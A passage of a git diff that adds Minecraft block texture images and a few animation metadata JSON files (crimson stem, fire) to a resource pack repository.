b/src/assets/minecraft/textures/block/cracked_stone_bricks.png new file mode 100644 index 00000000..2c2aafda Binary files /dev/null and b/src/assets/minecraft/textures/block/cracked_stone_bricks.png differ diff --git a/src/assets/minecraft/textures/block/crafting_table_front.png b/src/assets/minecraft/textures/block/crafting_table_front.png new file mode 100644 index 00000000..5bdd5d42 Binary files /dev/null and b/src/assets/minecraft/textures/block/crafting_table_front.png differ diff --git a/src/assets/minecraft/textures/block/crafting_table_side.png b/src/assets/minecraft/textures/block/crafting_table_side.png new file mode 100644 index 00000000..022edff5 Binary files /dev/null and b/src/assets/minecraft/textures/block/crafting_table_side.png differ diff --git a/src/assets/minecraft/textures/block/crafting_table_top.png b/src/assets/minecraft/textures/block/crafting_table_top.png new file mode 100644 index 00000000..305bb01e Binary files /dev/null and b/src/assets/minecraft/textures/block/crafting_table_top.png differ diff --git a/src/assets/minecraft/textures/block/crimson_door_bottom.png b/src/assets/minecraft/textures/block/crimson_door_bottom.png new file mode 100644 index 00000000..8dc3d9ef Binary files /dev/null and b/src/assets/minecraft/textures/block/crimson_door_bottom.png differ diff --git a/src/assets/minecraft/textures/block/crimson_door_top.png b/src/assets/minecraft/textures/block/crimson_door_top.png new file mode 100644 index 00000000..e99b0d75 Binary files /dev/null and b/src/assets/minecraft/textures/block/crimson_door_top.png differ diff --git a/src/assets/minecraft/textures/block/crimson_fungus.png b/src/assets/minecraft/textures/block/crimson_fungus.png new file mode 100644 index 00000000..d0b5d53a Binary files /dev/null and b/src/assets/minecraft/textures/block/crimson_fungus.png differ diff --git a/src/assets/minecraft/textures/block/crimson_nylium.png b/src/assets/minecraft/textures/block/crimson_nylium.png new file mode 100644 index 00000000..4ee0ac79 Binary files /dev/null and b/src/assets/minecraft/textures/block/crimson_nylium.png differ diff --git a/src/assets/minecraft/textures/block/crimson_nylium_side.png b/src/assets/minecraft/textures/block/crimson_nylium_side.png new file mode 100644 index 00000000..17cfd094 Binary files /dev/null and b/src/assets/minecraft/textures/block/crimson_nylium_side.png differ diff --git a/src/assets/minecraft/textures/block/crimson_planks.png b/src/assets/minecraft/textures/block/crimson_planks.png new file mode 100644 index 00000000..5a23208a Binary files /dev/null and b/src/assets/minecraft/textures/block/crimson_planks.png differ diff --git a/src/assets/minecraft/textures/block/crimson_roots.png b/src/assets/minecraft/textures/block/crimson_roots.png new file mode 100644 index 00000000..3744c0a6 Binary files /dev/null and b/src/assets/minecraft/textures/block/crimson_roots.png differ diff --git a/src/assets/minecraft/textures/block/crimson_roots_pot.png b/src/assets/minecraft/textures/block/crimson_roots_pot.png new file mode 100644 index 00000000..9ffad62a Binary files /dev/null and b/src/assets/minecraft/textures/block/crimson_roots_pot.png differ diff --git a/src/assets/minecraft/textures/block/crimson_stem.png b/src/assets/minecraft/textures/block/crimson_stem.png new file mode 100644 index 00000000..f0125fb5 Binary files /dev/null and b/src/assets/minecraft/textures/block/crimson_stem.png differ diff --git a/src/assets/minecraft/textures/block/crimson_stem.png.mcmeta b/src/assets/minecraft/textures/block/crimson_stem.png.mcmeta new file mode 100644 index 00000000..4894b537 --- /dev/null +++ b/src/assets/minecraft/textures/block/crimson_stem.png.mcmeta @@ -0,0 +1,6 @@ +{ + "animation": { + "interpolate": true, + "frametime": 10 + } +} diff --git a/src/assets/minecraft/textures/block/crimson_stem_top.png b/src/assets/minecraft/textures/block/crimson_stem_top.png new file mode 100644 index 00000000..99e17937 Binary files /dev/null and b/src/assets/minecraft/textures/block/crimson_stem_top.png differ diff --git a/src/assets/minecraft/textures/block/crimson_trapdoor.png b/src/assets/minecraft/textures/block/crimson_trapdoor.png new file mode 100644 index 00000000..b6be3392 Binary files /dev/null and b/src/assets/minecraft/textures/block/crimson_trapdoor.png differ diff --git a/src/assets/minecraft/textures/block/crying_obsidian.png b/src/assets/minecraft/textures/block/crying_obsidian.png new file mode 100644 index 00000000..1ec4b2c6 Binary files /dev/null and b/src/assets/minecraft/textures/block/crying_obsidian.png differ diff --git a/src/assets/minecraft/textures/block/cut_red_sandstone.png b/src/assets/minecraft/textures/block/cut_red_sandstone.png new file mode 100644 index 00000000..f061d109 Binary files /dev/null and b/src/assets/minecraft/textures/block/cut_red_sandstone.png differ diff --git a/src/assets/minecraft/textures/block/cut_sandstone.png b/src/assets/minecraft/textures/block/cut_sandstone.png new file mode 100644 index 00000000..530c967d Binary files /dev/null and b/src/assets/minecraft/textures/block/cut_sandstone.png differ diff --git a/src/assets/minecraft/textures/block/cyan_concrete.png b/src/assets/minecraft/textures/block/cyan_concrete.png new file mode 100644 index 00000000..ec3936cb Binary files /dev/null and b/src/assets/minecraft/textures/block/cyan_concrete.png differ diff --git a/src/assets/minecraft/textures/block/cyan_concrete_powder.png b/src/assets/minecraft/textures/block/cyan_concrete_powder.png new file mode 100644 index 00000000..3a23a958 Binary files /dev/null and b/src/assets/minecraft/textures/block/cyan_concrete_powder.png differ diff --git a/src/assets/minecraft/textures/block/cyan_glazed_terracotta.png b/src/assets/minecraft/textures/block/cyan_glazed_terracotta.png new file mode 100644 index 00000000..9a14cc5e Binary files /dev/null and b/src/assets/minecraft/textures/block/cyan_glazed_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/cyan_shulker_box.png b/src/assets/minecraft/textures/block/cyan_shulker_box.png new file mode 100644 index 00000000..d9577dfe Binary files /dev/null and b/src/assets/minecraft/textures/block/cyan_shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/cyan_stained_glass.png b/src/assets/minecraft/textures/block/cyan_stained_glass.png new file mode 100644 index 00000000..a4ac9aee Binary files /dev/null and b/src/assets/minecraft/textures/block/cyan_stained_glass.png differ diff --git a/src/assets/minecraft/textures/block/cyan_stained_glass_pane_top.png b/src/assets/minecraft/textures/block/cyan_stained_glass_pane_top.png new file mode 100644 index 00000000..9a34b844 Binary files /dev/null and b/src/assets/minecraft/textures/block/cyan_stained_glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/cyan_terracotta.png b/src/assets/minecraft/textures/block/cyan_terracotta.png new file mode 100644 index 00000000..b2d18c92 Binary files /dev/null and b/src/assets/minecraft/textures/block/cyan_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/cyan_wool.png b/src/assets/minecraft/textures/block/cyan_wool.png new file mode 100644 index 00000000..6545f38e Binary files /dev/null and b/src/assets/minecraft/textures/block/cyan_wool.png differ diff --git a/src/assets/minecraft/textures/block/damaged_anvil_top.png b/src/assets/minecraft/textures/block/damaged_anvil_top.png new file mode 100644 index 00000000..a8060884 Binary files /dev/null and b/src/assets/minecraft/textures/block/damaged_anvil_top.png differ diff --git a/src/assets/minecraft/textures/block/dandelion.png b/src/assets/minecraft/textures/block/dandelion.png new file mode 100644 index 00000000..21b84900 Binary files /dev/null and b/src/assets/minecraft/textures/block/dandelion.png differ diff --git a/src/assets/minecraft/textures/block/dark_oak_door_bottom.png b/src/assets/minecraft/textures/block/dark_oak_door_bottom.png new file mode 100644 index 00000000..0dc8fa29 Binary files /dev/null and b/src/assets/minecraft/textures/block/dark_oak_door_bottom.png differ diff --git a/src/assets/minecraft/textures/block/dark_oak_door_top.png b/src/assets/minecraft/textures/block/dark_oak_door_top.png new file mode 100644 index 00000000..9143ff93 Binary files /dev/null and b/src/assets/minecraft/textures/block/dark_oak_door_top.png differ diff --git a/src/assets/minecraft/textures/block/dark_oak_leaves.png b/src/assets/minecraft/textures/block/dark_oak_leaves.png new file mode 100644 index 00000000..292def18 Binary files /dev/null and b/src/assets/minecraft/textures/block/dark_oak_leaves.png differ diff --git a/src/assets/minecraft/textures/block/dark_oak_log.png b/src/assets/minecraft/textures/block/dark_oak_log.png new file mode 100644 index 00000000..ff911f8b Binary files /dev/null and b/src/assets/minecraft/textures/block/dark_oak_log.png differ diff --git a/src/assets/minecraft/textures/block/dark_oak_log_top.png b/src/assets/minecraft/textures/block/dark_oak_log_top.png new file mode 100644 index 00000000..f2316eab Binary files /dev/null and b/src/assets/minecraft/textures/block/dark_oak_log_top.png differ diff --git a/src/assets/minecraft/textures/block/dark_oak_planks.png b/src/assets/minecraft/textures/block/dark_oak_planks.png new file mode 100644 index 00000000..d37c4529 Binary files /dev/null and b/src/assets/minecraft/textures/block/dark_oak_planks.png differ diff --git a/src/assets/minecraft/textures/block/dark_oak_sapling.png b/src/assets/minecraft/textures/block/dark_oak_sapling.png new file mode 100644 index 00000000..0cd95d3a Binary files /dev/null and b/src/assets/minecraft/textures/block/dark_oak_sapling.png differ diff --git a/src/assets/minecraft/textures/block/dark_oak_trapdoor.png b/src/assets/minecraft/textures/block/dark_oak_trapdoor.png new file mode 100644 index 00000000..55fc96ae Binary files /dev/null and b/src/assets/minecraft/textures/block/dark_oak_trapdoor.png differ diff --git a/src/assets/minecraft/textures/block/dark_prismarine.png b/src/assets/minecraft/textures/block/dark_prismarine.png new file mode 100644 index 00000000..f89d4433 Binary files /dev/null and b/src/assets/minecraft/textures/block/dark_prismarine.png differ diff --git a/src/assets/minecraft/textures/block/daylight_detector_inverted_top.png b/src/assets/minecraft/textures/block/daylight_detector_inverted_top.png new file mode 100644 index 00000000..ce5bedfe Binary files /dev/null and b/src/assets/minecraft/textures/block/daylight_detector_inverted_top.png differ diff --git a/src/assets/minecraft/textures/block/daylight_detector_side.png b/src/assets/minecraft/textures/block/daylight_detector_side.png new file mode 100644 index 00000000..05f7e83a Binary files /dev/null and b/src/assets/minecraft/textures/block/daylight_detector_side.png differ diff --git a/src/assets/minecraft/textures/block/daylight_detector_top.png b/src/assets/minecraft/textures/block/daylight_detector_top.png new file mode 100644 index 00000000..9a408dc7 Binary files /dev/null and b/src/assets/minecraft/textures/block/daylight_detector_top.png differ diff --git a/src/assets/minecraft/textures/block/dead_brain_coral.png b/src/assets/minecraft/textures/block/dead_brain_coral.png new file mode 100644 index 00000000..29c082cb Binary files /dev/null and b/src/assets/minecraft/textures/block/dead_brain_coral.png differ diff --git a/src/assets/minecraft/textures/block/dead_brain_coral_block.png b/src/assets/minecraft/textures/block/dead_brain_coral_block.png new file mode 100644 index 00000000..c6419cbd Binary files /dev/null and b/src/assets/minecraft/textures/block/dead_brain_coral_block.png differ diff --git a/src/assets/minecraft/textures/block/dead_brain_coral_fan.png b/src/assets/minecraft/textures/block/dead_brain_coral_fan.png new file mode 100644 index 00000000..10b0fbda Binary files /dev/null and b/src/assets/minecraft/textures/block/dead_brain_coral_fan.png differ diff --git a/src/assets/minecraft/textures/block/dead_bubble_coral.png b/src/assets/minecraft/textures/block/dead_bubble_coral.png new file mode 100644 index 00000000..bb9e259b Binary files /dev/null and b/src/assets/minecraft/textures/block/dead_bubble_coral.png differ diff --git a/src/assets/minecraft/textures/block/dead_bubble_coral_block.png b/src/assets/minecraft/textures/block/dead_bubble_coral_block.png new file mode 100644 index 00000000..aefc5924 Binary files /dev/null and b/src/assets/minecraft/textures/block/dead_bubble_coral_block.png differ diff --git a/src/assets/minecraft/textures/block/dead_bubble_coral_fan.png b/src/assets/minecraft/textures/block/dead_bubble_coral_fan.png new file mode 100644 index 00000000..5a9634e1 Binary files /dev/null and b/src/assets/minecraft/textures/block/dead_bubble_coral_fan.png differ diff --git a/src/assets/minecraft/textures/block/dead_bush.png b/src/assets/minecraft/textures/block/dead_bush.png new file mode 100644 index 00000000..8f39442c Binary files /dev/null and b/src/assets/minecraft/textures/block/dead_bush.png differ diff --git a/src/assets/minecraft/textures/block/dead_fire_coral.png b/src/assets/minecraft/textures/block/dead_fire_coral.png new file mode 100644 index 00000000..95c33ad9 Binary files /dev/null and b/src/assets/minecraft/textures/block/dead_fire_coral.png differ diff --git a/src/assets/minecraft/textures/block/dead_fire_coral_block.png b/src/assets/minecraft/textures/block/dead_fire_coral_block.png new file mode 100644 index 00000000..0bfad989 Binary files /dev/null and b/src/assets/minecraft/textures/block/dead_fire_coral_block.png differ diff --git a/src/assets/minecraft/textures/block/dead_fire_coral_fan.png b/src/assets/minecraft/textures/block/dead_fire_coral_fan.png new file mode 100644 index 00000000..5e7c7a96 Binary files /dev/null and b/src/assets/minecraft/textures/block/dead_fire_coral_fan.png differ diff --git a/src/assets/minecraft/textures/block/dead_horn_coral.png b/src/assets/minecraft/textures/block/dead_horn_coral.png new file mode 100644 index 00000000..3c6744f7 Binary files /dev/null and b/src/assets/minecraft/textures/block/dead_horn_coral.png differ diff --git a/src/assets/minecraft/textures/block/dead_horn_coral_block.png b/src/assets/minecraft/textures/block/dead_horn_coral_block.png new file mode 100644 index 00000000..482a1c8a Binary files /dev/null and b/src/assets/minecraft/textures/block/dead_horn_coral_block.png differ diff --git a/src/assets/minecraft/textures/block/dead_horn_coral_fan.png b/src/assets/minecraft/textures/block/dead_horn_coral_fan.png new file mode 100644 index 00000000..4d0dc24a Binary files /dev/null and b/src/assets/minecraft/textures/block/dead_horn_coral_fan.png differ diff --git a/src/assets/minecraft/textures/block/dead_tube_coral.png b/src/assets/minecraft/textures/block/dead_tube_coral.png new file mode 100644 index 00000000..8ac8ed12 Binary files /dev/null and b/src/assets/minecraft/textures/block/dead_tube_coral.png differ diff --git a/src/assets/minecraft/textures/block/dead_tube_coral_block.png b/src/assets/minecraft/textures/block/dead_tube_coral_block.png new file mode 100644 index 00000000..36a127f2 Binary files /dev/null and b/src/assets/minecraft/textures/block/dead_tube_coral_block.png differ diff --git a/src/assets/minecraft/textures/block/dead_tube_coral_fan.png b/src/assets/minecraft/textures/block/dead_tube_coral_fan.png new file mode 100644 index 00000000..54847de6 Binary files /dev/null and b/src/assets/minecraft/textures/block/dead_tube_coral_fan.png differ diff --git a/src/assets/minecraft/textures/block/debug.png b/src/assets/minecraft/textures/block/debug.png new file mode 100644 index 00000000..8643d0a1 Binary files /dev/null and b/src/assets/minecraft/textures/block/debug.png differ diff --git a/src/assets/minecraft/textures/block/debug2.png b/src/assets/minecraft/textures/block/debug2.png new file mode 100644 index 00000000..e5b0d262 Binary files /dev/null and b/src/assets/minecraft/textures/block/debug2.png differ diff --git a/src/assets/minecraft/textures/block/destroy_stage_0.png b/src/assets/minecraft/textures/block/destroy_stage_0.png new file mode 100644 index 00000000..f65b7ede Binary files /dev/null and b/src/assets/minecraft/textures/block/destroy_stage_0.png differ diff --git a/src/assets/minecraft/textures/block/destroy_stage_1.png b/src/assets/minecraft/textures/block/destroy_stage_1.png new file mode 100644 index 00000000..7c915961 Binary files /dev/null and b/src/assets/minecraft/textures/block/destroy_stage_1.png differ diff --git a/src/assets/minecraft/textures/block/destroy_stage_2.png b/src/assets/minecraft/textures/block/destroy_stage_2.png new file mode 100644 index 00000000..dadd6b05 Binary files /dev/null and b/src/assets/minecraft/textures/block/destroy_stage_2.png differ diff --git a/src/assets/minecraft/textures/block/destroy_stage_3.png b/src/assets/minecraft/textures/block/destroy_stage_3.png new file mode 100644 index 00000000..52a40b65 Binary files /dev/null and b/src/assets/minecraft/textures/block/destroy_stage_3.png differ diff --git a/src/assets/minecraft/textures/block/destroy_stage_4.png b/src/assets/minecraft/textures/block/destroy_stage_4.png new file mode 100644 index 00000000..e37c88a2 Binary files /dev/null and b/src/assets/minecraft/textures/block/destroy_stage_4.png differ diff --git a/src/assets/minecraft/textures/block/destroy_stage_5.png b/src/assets/minecraft/textures/block/destroy_stage_5.png new file mode 100644 index 00000000..9590d2f7 Binary files /dev/null and b/src/assets/minecraft/textures/block/destroy_stage_5.png differ diff --git a/src/assets/minecraft/textures/block/destroy_stage_6.png b/src/assets/minecraft/textures/block/destroy_stage_6.png new file mode 100644 index 00000000..fb00ade5 Binary files /dev/null and b/src/assets/minecraft/textures/block/destroy_stage_6.png differ diff --git a/src/assets/minecraft/textures/block/destroy_stage_7.png b/src/assets/minecraft/textures/block/destroy_stage_7.png new file mode 100644 index 00000000..0b40c789 Binary files /dev/null and b/src/assets/minecraft/textures/block/destroy_stage_7.png differ diff --git a/src/assets/minecraft/textures/block/destroy_stage_8.png b/src/assets/minecraft/textures/block/destroy_stage_8.png new file mode 100644 index 00000000..c0bf1dec Binary files /dev/null and b/src/assets/minecraft/textures/block/destroy_stage_8.png differ diff --git a/src/assets/minecraft/textures/block/destroy_stage_9.png b/src/assets/minecraft/textures/block/destroy_stage_9.png new file mode 100644 index 00000000..e3185f82 Binary files /dev/null and b/src/assets/minecraft/textures/block/destroy_stage_9.png differ diff --git a/src/assets/minecraft/textures/block/detector_rail.png b/src/assets/minecraft/textures/block/detector_rail.png new file mode 100644 index 00000000..924fbb34 Binary files /dev/null and b/src/assets/minecraft/textures/block/detector_rail.png differ diff --git a/src/assets/minecraft/textures/block/detector_rail_on.png b/src/assets/minecraft/textures/block/detector_rail_on.png new file mode 100644 index 00000000..b0d9c479 Binary files /dev/null and b/src/assets/minecraft/textures/block/detector_rail_on.png differ diff --git a/src/assets/minecraft/textures/block/diamond_block.png b/src/assets/minecraft/textures/block/diamond_block.png new file mode 100644 index 00000000..710fef8e Binary files /dev/null and b/src/assets/minecraft/textures/block/diamond_block.png differ diff --git a/src/assets/minecraft/textures/block/diamond_ore.png b/src/assets/minecraft/textures/block/diamond_ore.png new file mode 100644 index 00000000..1f467c6c Binary files /dev/null and b/src/assets/minecraft/textures/block/diamond_ore.png differ diff --git a/src/assets/minecraft/textures/block/diorite.png b/src/assets/minecraft/textures/block/diorite.png new file mode 100644 index 00000000..345c35dc Binary files /dev/null and b/src/assets/minecraft/textures/block/diorite.png differ diff --git a/src/assets/minecraft/textures/block/dirt.png b/src/assets/minecraft/textures/block/dirt.png new file mode 100644 index 00000000..617d353e Binary files /dev/null and b/src/assets/minecraft/textures/block/dirt.png differ diff --git a/src/assets/minecraft/textures/block/dispenser_front.png b/src/assets/minecraft/textures/block/dispenser_front.png new file mode 100644 index 00000000..60de10fc Binary files /dev/null and b/src/assets/minecraft/textures/block/dispenser_front.png differ diff --git a/src/assets/minecraft/textures/block/dispenser_front_vertical.png b/src/assets/minecraft/textures/block/dispenser_front_vertical.png new file mode 100644 index 00000000..4d433d98 Binary files /dev/null and b/src/assets/minecraft/textures/block/dispenser_front_vertical.png differ diff --git a/src/assets/minecraft/textures/block/dragon_egg.png b/src/assets/minecraft/textures/block/dragon_egg.png new file mode 100644 index 00000000..ee9d67fa Binary files /dev/null and b/src/assets/minecraft/textures/block/dragon_egg.png differ diff --git a/src/assets/minecraft/textures/block/dried_kelp_bottom.png b/src/assets/minecraft/textures/block/dried_kelp_bottom.png new file mode 100644 index 00000000..5b6edbd9 Binary files /dev/null and b/src/assets/minecraft/textures/block/dried_kelp_bottom.png differ diff --git a/src/assets/minecraft/textures/block/dried_kelp_side.png b/src/assets/minecraft/textures/block/dried_kelp_side.png new file mode 100644 index 00000000..78a5c5fa Binary files /dev/null and b/src/assets/minecraft/textures/block/dried_kelp_side.png differ diff --git a/src/assets/minecraft/textures/block/dried_kelp_top.png b/src/assets/minecraft/textures/block/dried_kelp_top.png new file mode 100644 index 00000000..09465de0 Binary files /dev/null and b/src/assets/minecraft/textures/block/dried_kelp_top.png differ diff --git a/src/assets/minecraft/textures/block/dropper_front.png b/src/assets/minecraft/textures/block/dropper_front.png new file mode 100644 index 00000000..8fe70ec4 Binary files /dev/null and b/src/assets/minecraft/textures/block/dropper_front.png differ diff --git a/src/assets/minecraft/textures/block/dropper_front_vertical.png b/src/assets/minecraft/textures/block/dropper_front_vertical.png new file mode 100644 index 00000000..325f8da4 Binary files /dev/null and b/src/assets/minecraft/textures/block/dropper_front_vertical.png differ diff --git a/src/assets/minecraft/textures/block/emerald_block.png b/src/assets/minecraft/textures/block/emerald_block.png new file mode 100644 index 00000000..15d8710b Binary files /dev/null and b/src/assets/minecraft/textures/block/emerald_block.png differ diff --git a/src/assets/minecraft/textures/block/emerald_ore.png b/src/assets/minecraft/textures/block/emerald_ore.png new file mode 100644 index 00000000..aad451a8 Binary files /dev/null and b/src/assets/minecraft/textures/block/emerald_ore.png differ diff --git a/src/assets/minecraft/textures/block/enchanting_table_bottom.png b/src/assets/minecraft/textures/block/enchanting_table_bottom.png new file mode 100644 index 00000000..b9e09060 Binary files /dev/null and b/src/assets/minecraft/textures/block/enchanting_table_bottom.png differ diff --git a/src/assets/minecraft/textures/block/enchanting_table_side.png b/src/assets/minecraft/textures/block/enchanting_table_side.png new file mode 100644 index 00000000..a111759d Binary files /dev/null and b/src/assets/minecraft/textures/block/enchanting_table_side.png differ diff --git a/src/assets/minecraft/textures/block/enchanting_table_top.png b/src/assets/minecraft/textures/block/enchanting_table_top.png new file mode 100644 index 00000000..ef5eea5b Binary files /dev/null and b/src/assets/minecraft/textures/block/enchanting_table_top.png differ diff --git a/src/assets/minecraft/textures/block/end_portal_frame_eye.png b/src/assets/minecraft/textures/block/end_portal_frame_eye.png new file mode 100644 index 00000000..2ff33f9b Binary files /dev/null and b/src/assets/minecraft/textures/block/end_portal_frame_eye.png differ diff --git a/src/assets/minecraft/textures/block/end_portal_frame_side.png b/src/assets/minecraft/textures/block/end_portal_frame_side.png new file mode 100644 index 00000000..30140f75 Binary files /dev/null and b/src/assets/minecraft/textures/block/end_portal_frame_side.png differ diff --git a/src/assets/minecraft/textures/block/end_portal_frame_top.png b/src/assets/minecraft/textures/block/end_portal_frame_top.png new file mode 100644 index 00000000..ced8cafa Binary files /dev/null and b/src/assets/minecraft/textures/block/end_portal_frame_top.png differ diff --git a/src/assets/minecraft/textures/block/end_rod.png b/src/assets/minecraft/textures/block/end_rod.png new file mode 100644 index 00000000..a710490c Binary files /dev/null and b/src/assets/minecraft/textures/block/end_rod.png differ diff --git a/src/assets/minecraft/textures/block/end_stone.png b/src/assets/minecraft/textures/block/end_stone.png new file mode 100644 index 00000000..6d747c02 Binary files /dev/null and b/src/assets/minecraft/textures/block/end_stone.png differ diff --git a/src/assets/minecraft/textures/block/end_stone_bricks.png b/src/assets/minecraft/textures/block/end_stone_bricks.png new file mode 100644 index 00000000..afa774b7 Binary files /dev/null and b/src/assets/minecraft/textures/block/end_stone_bricks.png differ diff --git a/src/assets/minecraft/textures/block/farmland.png b/src/assets/minecraft/textures/block/farmland.png new file mode 100644 index 00000000..b73ffc08 Binary files /dev/null and b/src/assets/minecraft/textures/block/farmland.png differ diff --git a/src/assets/minecraft/textures/block/farmland_moist.png b/src/assets/minecraft/textures/block/farmland_moist.png new file mode 100644 index 00000000..2c3f62d1 Binary files /dev/null and b/src/assets/minecraft/textures/block/farmland_moist.png differ diff --git a/src/assets/minecraft/textures/block/fern.png b/src/assets/minecraft/textures/block/fern.png new file mode 100644 index 00000000..11ad3c7a Binary files /dev/null and b/src/assets/minecraft/textures/block/fern.png differ diff --git a/src/assets/minecraft/textures/block/fire_0.png b/src/assets/minecraft/textures/block/fire_0.png new file mode 100644 index 00000000..6066dc49 Binary files /dev/null and b/src/assets/minecraft/textures/block/fire_0.png differ diff --git a/src/assets/minecraft/textures/block/fire_0.png.mcmeta b/src/assets/minecraft/textures/block/fire_0.png.mcmeta new file mode 100644 index 00000000..76446714 --- /dev/null +++ b/src/assets/minecraft/textures/block/fire_0.png.mcmeta @@ -0,0 +1,38 @@ +{ + "animation": { + "frames": [ + 16, + 17, + 18, + 19, + 20, + 21, + 22, + 23, + 24, + 25, + 26, + 27, + 28, + 29, + 30, + 31, + 0, + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11, + 12, + 13, + 14, + 15 + ] + } +} diff --git a/src/assets/minecraft/textures/block/fire_1.png b/src/assets/minecraft/textures/block/fire_1.png new file mode 100644 index 00000000..fd439b17 Binary files /dev/null and b/src/assets/minecraft/textures/block/fire_1.png differ diff --git a/src/assets/minecraft/textures/block/fire_1.png.mcmeta b/src/assets/minecraft/textures/block/fire_1.png.mcmeta new file mode 100644 index 00000000..4f0718ac --- /dev/null +++ b/src/assets/minecraft/textures/block/fire_1.png.mcmeta @@ -0,0 +1,3 @@ +{ + "animation": {} +} \ No newline at end of file diff --git a/src/assets/minecraft/textures/block/fire_coral.png b/src/assets/minecraft/textures/block/fire_coral.png new file mode 100644 index 00000000..78211e56 Binary files /dev/null and b/src/assets/minecraft/textures/block/fire_coral.png differ diff --git a/src/assets/minecraft/textures/block/fire_coral_block.png b/src/assets/minecraft/textures/block/fire_coral_block.png new file mode 100644 index 00000000..3a97e4f7 Binary files /dev/null and b/src/assets/minecraft/textures/block/fire_coral_block.png differ diff --git a/src/assets/minecraft/textures/block/fire_coral_fan.png b/src/assets/minecraft/textures/block/fire_coral_fan.png new file mode 100644 index 00000000..17befa73 Binary files /dev/null and b/src/assets/minecraft/textures/block/fire_coral_fan.png differ diff --git a/src/assets/minecraft/textures/block/fletching_table_front.png b/src/assets/minecraft/textures/block/fletching_table_front.png new file mode 100644 index 00000000..6bcb432d Binary files /dev/null and b/src/assets/minecraft/textures/block/fletching_table_front.png differ diff --git a/src/assets/minecraft/textures/block/fletching_table_side.png b/src/assets/minecraft/textures/block/fletching_table_side.png new file mode 100644 index 00000000..eaaace6c Binary files /dev/null and b/src/assets/minecraft/textures/block/fletching_table_side.png differ diff --git a/src/assets/minecraft/textures/block/fletching_table_top.png b/src/assets/minecraft/textures/block/fletching_table_top.png new file mode 100644 index 00000000..b872bc45 Binary files /dev/null and b/src/assets/minecraft/textures/block/fletching_table_top.png differ diff --git a/src/assets/minecraft/textures/block/flower_pot.png b/src/assets/minecraft/textures/block/flower_pot.png new file mode 100644 index 00000000..7a584f6f Binary files /dev/null and b/src/assets/minecraft/textures/block/flower_pot.png differ diff --git a/src/assets/minecraft/textures/block/frosted_ice_0.png b/src/assets/minecraft/textures/block/frosted_ice_0.png new file mode 100644 index 00000000..1a9b5c7a Binary files /dev/null and b/src/assets/minecraft/textures/block/frosted_ice_0.png differ diff --git a/src/assets/minecraft/textures/block/frosted_ice_1.png b/src/assets/minecraft/textures/block/frosted_ice_1.png new file mode 100644 index 00000000..e01008be Binary files /dev/null and b/src/assets/minecraft/textures/block/frosted_ice_1.png differ diff --git a/src/assets/minecraft/textures/block/frosted_ice_2.png b/src/assets/minecraft/textures/block/frosted_ice_2.png new file mode 100644 index 00000000..42aef954 Binary files /dev/null and b/src/assets/minecraft/textures/block/frosted_ice_2.png differ diff --git a/src/assets/minecraft/textures/block/frosted_ice_3.png b/src/assets/minecraft/textures/block/frosted_ice_3.png new file mode 100644 index 00000000..8676e60b Binary files /dev/null and b/src/assets/minecraft/textures/block/frosted_ice_3.png differ diff --git a/src/assets/minecraft/textures/block/furnace_front.png b/src/assets/minecraft/textures/block/furnace_front.png new file mode 100644 index 00000000..cbab85d5 Binary files /dev/null and b/src/assets/minecraft/textures/block/furnace_front.png differ diff --git a/src/assets/minecraft/textures/block/furnace_front_on.png b/src/assets/minecraft/textures/block/furnace_front_on.png new file mode 100644 index 00000000..34a506b0 Binary files /dev/null and b/src/assets/minecraft/textures/block/furnace_front_on.png differ diff --git a/src/assets/minecraft/textures/block/furnace_side.png b/src/assets/minecraft/textures/block/furnace_side.png new file mode 100644 index 00000000..19d0311c Binary files /dev/null and b/src/assets/minecraft/textures/block/furnace_side.png differ diff --git a/src/assets/minecraft/textures/block/furnace_top.png b/src/assets/minecraft/textures/block/furnace_top.png new file mode 100644 index 00000000..2065e181 Binary files /dev/null and b/src/assets/minecraft/textures/block/furnace_top.png differ diff --git a/src/assets/minecraft/textures/block/gilded_blackstone.png b/src/assets/minecraft/textures/block/gilded_blackstone.png new file mode 100644 index 00000000..0d9bd767 Binary files /dev/null and b/src/assets/minecraft/textures/block/gilded_blackstone.png differ diff --git a/src/assets/minecraft/textures/block/glass.png b/src/assets/minecraft/textures/block/glass.png new file mode 100644 index 00000000..7270ac16 Binary files /dev/null and b/src/assets/minecraft/textures/block/glass.png differ diff --git a/src/assets/minecraft/textures/block/glass_pane_top.png b/src/assets/minecraft/textures/block/glass_pane_top.png new file mode 100644 index 00000000..02de5877 Binary files /dev/null and b/src/assets/minecraft/textures/block/glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/glowstone.png b/src/assets/minecraft/textures/block/glowstone.png new file mode 100644 index 00000000..61fdb122 Binary files /dev/null and b/src/assets/minecraft/textures/block/glowstone.png differ diff --git a/src/assets/minecraft/textures/block/gold_block.png b/src/assets/minecraft/textures/block/gold_block.png new file mode 100644 index 00000000..79021b83 Binary files /dev/null and b/src/assets/minecraft/textures/block/gold_block.png differ diff --git a/src/assets/minecraft/textures/block/gold_ore.png b/src/assets/minecraft/textures/block/gold_ore.png new file mode 100644 index 00000000..eb31b55f Binary files /dev/null and b/src/assets/minecraft/textures/block/gold_ore.png differ diff --git a/src/assets/minecraft/textures/block/granite.png b/src/assets/minecraft/textures/block/granite.png new file mode 100644 index 00000000..b52ad286 Binary files /dev/null and b/src/assets/minecraft/textures/block/granite.png differ diff --git a/src/assets/minecraft/textures/block/grass.png b/src/assets/minecraft/textures/block/grass.png new file mode 100644 index 00000000..dc74a2cc Binary files /dev/null and b/src/assets/minecraft/textures/block/grass.png differ diff --git a/src/assets/minecraft/textures/block/grass_block_side.png b/src/assets/minecraft/textures/block/grass_block_side.png new file mode 100644 index 00000000..30663bf2 Binary files /dev/null and b/src/assets/minecraft/textures/block/grass_block_side.png differ diff --git a/src/assets/minecraft/textures/block/grass_block_side_overlay.png b/src/assets/minecraft/textures/block/grass_block_side_overlay.png new file mode 100644 index 00000000..4abf8fc4 Binary files /dev/null and b/src/assets/minecraft/textures/block/grass_block_side_overlay.png differ diff --git a/src/assets/minecraft/textures/block/grass_block_snow.png b/src/assets/minecraft/textures/block/grass_block_snow.png new file mode 100644 index 00000000..5dd9e4b7 Binary files /dev/null and b/src/assets/minecraft/textures/block/grass_block_snow.png differ diff --git a/src/assets/minecraft/textures/block/grass_block_top.png b/src/assets/minecraft/textures/block/grass_block_top.png new file mode 100644 index 00000000..eaa7e458 Binary files /dev/null and 